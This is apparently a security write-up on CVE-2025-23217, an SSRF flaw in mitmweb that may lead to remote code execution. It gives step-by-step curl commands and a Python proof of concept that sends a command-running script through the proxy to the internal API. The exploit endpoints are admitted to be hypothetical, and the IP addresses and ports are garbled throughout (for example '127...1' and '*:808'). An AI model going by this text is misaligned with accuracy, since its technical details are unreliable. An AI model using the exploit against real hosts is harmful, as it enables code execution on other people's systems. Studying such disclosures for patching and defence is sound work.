CVE-2025-23217 - SSRF to Possible Remote Code Execution in mitmweb (mitmproxy <= 11.1.1)

mitmproxy is a popular open-source intercepting proxy, widely used by penetration testers and software developers for troubleshooting and inspecting HTTP/S traffic. It also offers mitmweb, a web-based graphical interface built on top of mitmproxy, making traffic analysis even more accessible.

Recently, a critical security flaw (CVE-2025-23217) was disclosed, impacting mitmweb in mitmproxy versions 11.1.1 and below. This vulnerability lets attackers escalate their access — from exploiting an internal API via SSRF, all the way to potential remote code execution (RCE). If you are running mitmweb, updating to 11.1.2 or later is crucial.

This write-up breaks down the vulnerability, its impact, how it can be exploited, and what you should do to protect your systems.

Other Tools: mitmproxy and mitmdump are NOT affected

- Vulnerability Type: Server-Side Request Forgery (SSRF) leading to possible Remote Code Execution (RCE)
- Threat: Attackers can leverage mitmweb's proxy server (via *:808) to access its internal API (127...1:8081), opening the door for further escalation—even RCE.

Proxy server: Listens on all IP addresses (by default, *:808)

- mitmweb API server: Listens only on localhost (127...1:8081), intended to be accessed only locally.

Here’s the problem: mitmweb’s proxy doesn’t block access to the internal API. This means any remote client using the proxy can directly reach the internal API by crafting requests to 127...1:8081 through the proxy.

This is a classic Server-Side Request Forgery (SSRF). If the internal API contains sensitive functionalities — like command execution, file manipulation, or further request abilities — attackers can chain this vulnerability for much greater impact, even reaching remote code execution.

Exploit Details

When a client connects to mitmweb's proxy (on *:808), they can send HTTP requests destined for 127...1:8081, piggybacking on the proxy capabilities. The proxy then dutifully passes them to the mitmweb's internal API, bypassing the normal "local access only" restrictions.

Step 1: Send SSRF Request via Proxy

The attacker configures their browser or tool (like curl) to use mitmweb’s proxy, then crafts a request for http://127...1:8081/api/:

# Configure curl to use mitmweb's proxy at 192..2.10:808
curl --proxy 192..2.10:808 http://127...1:8081/api/

Step 2: Interact with Internal API

The internal API can have endpoints that control flows, script loading, interacting with the proxy, etc. If there are writable endpoints — say, something like /api/addons or /api/script — the attacker may inject scripts or commands:

# Hypothetical endpoint to load scripts (may be different in reality)
curl --proxy 192..2.10:808 -X POST http://127...1:8081/api/scripts -d 'malicious_python_code'

Step 3: Escalate to RCE

If the API supports the loading/execution of Python scripts (for traffic manipulation), an attacker could upload a malicious script via the SSRF and trigger its execution, gaining code execution as the process running mitmweb (often the logged-in user).

Proof-of-Concept (PoC) Exploit

Here is a simplified PoC — use only on test systems!

Requirements: mitmweb <= 11.1.1 running on a host with an attacker able to connect to :808.

import requests

# Target mitmweb proxy (change to actual IP:port)
PROXY = 'http://192..2.10:808';
INTERNAL_API = 'http://127...1:8081';

session = requests.Session()
session.proxies = {'http': PROXY, 'https': PROXY}

# List internal API endpoints (GET /api/)
resp = session.get(f"{INTERNAL_API}/api/")
print('API root:', resp.text)

# (Example) Try to load a malicious script via API endpoint
malicious_script = """
def running():
    import os
    os.system('touch /tmp/pwned_by_cve_2025_23217')
"""

# This endpoint is hypothetical; refer to actual mitmweb API docs
resp = session.post(f"{INTERNAL_API}/api/script", data={'script': malicious_script})
print('Script loading:', resp.status_code, resp.text)

Note: Actual mitmweb API endpoints for script loading may differ. Use API discovery via /api/ root.

Real-World Impact

- Who is Affected? Anyone running mitmweb exposed to untrusted networks (or who has untrusted users able to proxy through it)
- What Can Happen? At minimum, exposure of sensitive internal API data. At worst, code execution as the user running mitmweb.

Fix and Recommendations

- Upgrade ASAP! The mitmproxy team fixed this in mitmproxy 11.1.2
- Download latest release: https://mitmproxy.org/downloads/
- Network Controls: Don’t expose mitmweb’s proxy (*:808) to untrusted networks — firewall it, use localhost-only as a best practice.

References

- mitmproxy Advisory & Release Notes
- CVE Record for CVE-2025-23217 (MITRE/NVD)
- mitmproxy Documentation

Conclusion

CVE-2025-23217 is a serious SSRF-to-RCE vulnerability that affects mitmweb users on mitmproxy releases before 11.1.2. Attackers able to connect to the exposed proxy can misuse the web interface’s internal API, potentially gaining code execution on your system. There is no safe workaround: update immediately.

Keep your penetration testing and development tools patched, and always be wary of exposing local-only APIs to any external network.

Timeline

Published on: 02/06/2025 18:15:32 UTC

Other Tools: mitmproxy and mitmdump are *NOT* affected